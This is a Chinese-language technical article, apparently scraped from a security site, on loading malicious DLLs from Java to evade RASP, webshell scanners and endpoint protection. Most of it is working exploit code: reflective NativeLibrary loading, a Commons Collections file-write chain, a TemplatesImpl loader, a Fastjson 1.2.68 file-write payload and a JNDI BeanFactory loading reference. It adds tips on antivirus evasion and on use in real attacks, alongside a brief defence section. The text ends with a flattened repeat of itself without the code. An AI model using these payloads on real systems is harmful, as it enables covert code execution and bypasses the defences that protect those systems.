java加载动态链接库绕过一些限制的思考
字数 1288 2025-08-22 18:37:14

Java加载动态链接库绕过限制的技术研究

1. 背景与概述

在Java安全研究中,高版本JDK对JNDI注入等攻击方式进行了防护。本文探讨了通过加载动态链接库(DLL)来绕过这些限制的技术,特别是在存在Webshell查杀、RASP或终端安全防护软件的环境下,直接使用SystemRuntime的调用容易被检测,因此需要寻找替代方法。

2. 传统DLL加载方式

2.1 使用System.load

最基本的DLL加载方式:

public class LoadTest {
    public static void main(String[] args) throws Exception {
        System.load("E:\\path\\to\\calc_x64.dll");
    }
}

调用链:

  1. System.loadRuntime.load0
  2. Runtime.load0ClassLoader.loadLibrary
  3. ClassLoader.loadLibraryloadLibrary0
  4. loadLibrary0 → 创建NativeLibrary并调用load方法

2.2 使用NativeLibLoader

com.sun.glass.utils.NativeLibLoader提供另一种加载方式:

NativeLibLoader.loadLibrary("libraryName");

但最终仍会调用到System.load

3. 绕过System/Runtime的加载技术

3.1 反射调用ClassLoader#loadLibrary

public class loadLibraryToDLL {
    public static void main(String[] args) throws Exception {
        try {
            Class clazz = Class.forName("java.lang.ClassLoader");
            Method method = clazz.getDeclaredMethod("loadLibrary", 
                Class.class, String.class, boolean.class);
            method.setAccessible(true);
            method.invoke(null, clazz, 
                "E:\\path\\to\\calc_x64.dll", true);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

3.2 反射调用NativeLibrary#load

NativeLibraryClassLoader的内部静态匿名类:

public static void main(String[] args) throws Exception {
    try {
        String file = "E:\\path\\to\\calc_x64.dll";
        Class a = Class.forName("java.lang.ClassLoader$NativeLibrary");
        Constructor con = a.getDeclaredConstructor(
            new Class[]{Class.class, String.class, boolean.class});
        con.setAccessible(true);
        Object obj = con.newInstance(Class.class, file, true);
        Method method = obj.getClass().getDeclaredMethod(
            "load", String.class, boolean.class);
        method.setAccessible(true);
        method.invoke(obj, file, false);
    } catch (Exception e) {
        e.printStackTrace();
    }
}

4. 组合利用技术

4.1 Commons Collections写文件+字节码加载DLL

4.1.1 使用CC链写文件

Transformer[] transformers = new Transformer[]{
    // 创建FileOutputStream对象
    new ConstantTransformer(java.io.FileOutputStream.class),
    new InvokerTransformer("getConstructor", 
        new Class[]{Class[].class}, 
        new Object[]{new Class[]{String.class}}),
    new InvokerTransformer("newInstance", 
        new Class[]{Object[].class}, 
        new Object[]{new Object[]{"CC6calc.dll"}}),
    // 调用write方法写入数据
    new InvokerTransformer("write", 
        new Class[]{byte[].class}, 
        new Object[]{readFile("E:\\path\\to\\calc_x64.dll")}),
    // 调用close方法关闭流
    new InvokerTransformer("close", new Class[]{}, new Object[]{})
};

4.1.2 使用TemplatesImpl字节码加载DLL

public class TemplatesImpl_loadDLL extends AbstractTranslet {
    static {
        try {
            String file = "CC6calc.dll";
            Class a = Class.forName("java.lang.ClassLoader$NativeLibrary");
            Constructor con = a.getDeclaredConstructor(
                new Class[]{Class.class, String.class, boolean.class});
            con.setAccessible(true);
            Object obj = con.newInstance(Class.class, file, true);
            Method method = obj.getClass().getDeclaredMethod(
                "load", String.class, boolean.class);
            method.setAccessible(true);
            method.invoke(obj, file, false);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    // 其他必要方法实现...
}

4.2 Fastjson写文件+JNDI加载

4.2.1 Fastjson 1.2.68写文件

public class Fastjson_writeFile {
    public static void main(String[] args) throws Exception {
        String base64code = fileToBase64("E:\\path\\to\\calc_x64.dll");
        String json = "{\n" +
            "\"stream\": {\n" +
            "\"@type\": \"java.lang.AutoCloseable\",\n" +
            "\"@type\": \"org.eclipse.core.internal.localstore.SafeFileOutputStream\",\n" +
            "\"targetPath\": \"d:/calc_x64.dll\",\n" +
            "\"tempPath\": \"e:/test.txt\"\n" +
            "},\n" +
            "\"writer\": {\n" +
            "\"@type\": \"java.lang.AutoCloseable\",\n" +
            "\"@type\": \"com.esotericsoftware.kryo.io.Output\",\n" +
            "\"buffer\": \"" + base64code + "\",\n" +
            "\"outputStream\": {\n" +
            "\"$ref\": \"$.stream\"\n" +
            "},\n" +
            "\"position\": 50176\n" + // 修改为DLL解码后的字节数
            "},\n" +
            "\"close\": {\n" +
            "\"@type\": \"java.lang.AutoCloseable\",\n" +
            "\"@type\": \"com.sleepycat.bind.serial.SerialOutput\",\n" +
            "\"out\": {\n" +
            "\"$ref\": \"$.writer\"\n" +
            "}\n" +
            "}\n" +
            "}";
        JSON.parse(json);
    }
}

4.2.2 JNDI加载DLL

public class JNDI_loadDLL {
    public static void main(String[] args) throws Exception {
        LocateRegistry.createRegistry(1099);
        Hashtable<String, String> env = new Hashtable<>();
        env.put(Context.INITIAL_CONTEXT_FACTORY, 
            "com.sun.jndi.rmi.registry.RegistryContextFactory");
        env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
        
        ResourceRef ref = new ResourceRef("com.sun.glass.utils.NativeLibLoader", 
            null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
        ref.add(new StringRefAddr("forceString", "a=loadLibrary"));
        ref.add(new StringRefAddr("a", ".calc_x64"));
        
        InitialContext context = new InitialContext(env);
        context.bind("remoteImpl", ref);
    }
}

5. 技术要点总结

  1. 绕过检测:通过反射或间接调用方式绕过对SystemRuntime的直接调用检测
  2. 文件写入:利用CC链或Fastjson漏洞实现DLL文件写入
  3. 加载方式
    • 直接反射调用ClassLoader.loadLibrary
    • 反射创建NativeLibrary实例并调用load方法
    • 通过JNDI间接加载
  4. 组合利用:将文件写入技术与加载技术结合,实现更隐蔽的攻击

6. 防御建议

  1. 限制反射调用敏感类和方法
  2. 监控NativeLibrary类的加载行为
  3. 检查文件系统中的异常DLL文件创建
  4. 更新Fastjson等存在漏洞的组件
  5. 实施严格的代码签名验证

7. 应用场景

  1. CTF比赛中绕过RuntimeProcessBuilder等过滤
  2. 红队评估中绕过RASP等运行时防护
  3. 研究高版本JDK安全机制的绕过方式

8. 注意事项

  1. DLL文件需要与目标系统架构匹配(x86/x64)
  2. 需要考虑DLL本身的免杀问题
  3. 文件落地可能触发文件监控系统的告警
  4. 实际利用时需要根据目标环境调整技术组合

通过以上技术,可以在特定环境下实现更隐蔽的DLL加载,绕过部分安全防护措施。但需要注意这些技术可能产生的日志和痕迹,在实际攻击中需要综合考虑各种因素。

Java加载动态链接库绕过限制的技术研究 1. 背景与概述 在Java安全研究中,高版本JDK对JNDI注入等攻击方式进行了防护。本文探讨了通过加载动态链接库(DLL)来绕过这些限制的技术,特别是在存在Webshell查杀、RASP或终端安全防护软件的环境下,直接使用 System 和 Runtime 的调用容易被检测,因此需要寻找替代方法。 2. 传统DLL加载方式 2.1 使用System.load 最基本的DLL加载方式: 调用链: System.load → Runtime.load0 Runtime.load0 → ClassLoader.loadLibrary ClassLoader.loadLibrary → loadLibrary0 loadLibrary0 → 创建 NativeLibrary 并调用 load 方法 2.2 使用NativeLibLoader com.sun.glass.utils.NativeLibLoader 提供另一种加载方式: 但最终仍会调用到 System.load 。 3. 绕过System/Runtime的加载技术 3.1 反射调用ClassLoader#loadLibrary 3.2 反射调用NativeLibrary#load NativeLibrary 是 ClassLoader 的内部静态匿名类: 4. 组合利用技术 4.1 Commons Collections写文件+字节码加载DLL 4.1.1 使用CC链写文件 4.1.2 使用TemplatesImpl字节码加载DLL 4.2 Fastjson写文件+JNDI加载 4.2.1 Fastjson 1.2.68写文件 4.2.2 JNDI加载DLL 5. 技术要点总结 绕过检测 :通过反射或间接调用方式绕过对 System 和 Runtime 的直接调用检测 文件写入 :利用CC链或Fastjson漏洞实现DLL文件写入 加载方式 : 直接反射调用 ClassLoader.loadLibrary 反射创建 NativeLibrary 实例并调用 load 方法 通过JNDI间接加载 组合利用 :将文件写入技术与加载技术结合,实现更隐蔽的攻击 6. 防御建议 限制反射调用敏感类和方法 监控 NativeLibrary 类的加载行为 检查文件系统中的异常DLL文件创建 更新Fastjson等存在漏洞的组件 实施严格的代码签名验证 7. 应用场景 CTF比赛中绕过 Runtime 、 ProcessBuilder 等过滤 红队评估中绕过RASP等运行时防护 研究高版本JDK安全机制的绕过方式 8. 注意事项 DLL文件需要与目标系统架构匹配(x86/x64) 需要考虑DLL本身的免杀问题 文件落地可能触发文件监控系统的告警 实际利用时需要根据目标环境调整技术组合 通过以上技术,可以在特定环境下实现更隐蔽的DLL加载,绕过部分安全防护措施。但需要注意这些技术可能产生的日志和痕迹,在实际攻击中需要综合考虑各种因素。